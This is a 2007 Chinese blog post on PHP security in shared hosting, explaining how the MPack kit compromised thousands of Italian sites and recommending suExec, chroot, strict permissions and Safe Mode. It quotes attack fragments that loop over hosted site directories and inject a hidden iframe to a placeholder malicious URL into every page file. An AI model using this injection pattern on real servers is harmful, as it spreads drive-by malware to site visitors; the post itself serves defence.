虛擬主機與 PHP 安全性

由 blue 於 週四, 07/05/2007 - 17:38 發表

MPack 是由一個自稱為 "Dream Coders Team" 的組織開發的 PHP 程式,其內含有數個最新的漏洞攻擊碼,能夠用來操控遠端的攻擊行為,Panda 實驗室在去年底時首度發現,當時有人正在俄羅斯的論壇上兜售此工具,自此之後 Panda 持續追蹤了新的版本,並完成詳細的研究報告。大約在兩週前,由於數千個義大利網站淪陷事件,當時部份研究機構發現,整個事件與 MPack 有著密切關聯,而背後同樣存在著地下經濟運作,記得那幾天國外各大資安新聞上都是 MPack 的消息,內容不外乎是 MPack 攻擊能力多強大,以及在地下市場的售價大約是 800~1000 美金。

在 SANS ISC 最近的分析中,釐清了像義大利事件這種大規模的淪陷,並非是由於這些網站都存在漏洞,而是它們都運作在虛擬主機上,經由 ISC 取得的攻擊程式碼可得知,只要主機上其中一個網站存在漏洞,攻擊者就可透過一小段簡單的程式穿梭於該主機的各個目錄,並附加惡意的 iframe 標籤,例如像下面的範例:

  for ($i = 3; $i < 500; $i++) {
      if ($i == 438) continue;
      flush_buffer('<b>/home/sites/site' . $i . '/web</b>:<br>');
      iframe_account(array('/home/sites/site' . $i . '/web'));
  }

在上面的程式碼中會將網站路經交給 iframe_account 函數處理後續動作,以樣本而言,會開啟路徑中的每個 php、htm、html 及 tpl 檔案,並插入 iframe:

  $iframed_content = 
     str_replace('</body>',
     '<iframe src=http://惡意網址 style=display:none></iframe></body>',
     $content);

於是乎只要瞬間就完成了大量網站的感染,會發生這樣的問題最主要是因為 Apache 的 process 有權限讀取所有檔案,另外就是目錄系統本身的權限規劃/設定不夠嚴謹。

比較妥善的規劃是透過 CGI 模式執行 PHP,並搭配 chroot/suExec,相關設定推薦參考文件。但一個很實際的問題就是效能的犧牲,因此很多虛擬主機商仍選擇採用 Module 方式。

在檔案、目錄權限的規劃方面,對於 Apache 所屬的帳號(如 www)需要逐一確認最小權限,除了少數上傳用途目錄外,應僅需讀取權限,不過很多使用者甚至是應用程式教學文件,為了快速解決問題,一律都是 777,也因此產生了額外的風險。

最後是 Safe Mode 的問題,雖然它並沒有字面上那麼安全,不過仍有一定的幫助,以上面處理目錄的程式而言,一般也許不會如此單純的循序命名,而此時如果要自動取得所有目錄的名稱,通常需要搭配系統指令,此時 Safe Mode 就會增加其難度,只是開啟 Safe Mode 又是許多人覺得綁手綁腳的事情,建議可以參考這一篇

延伸閱讀:Apache / PHP 安全性工具及提示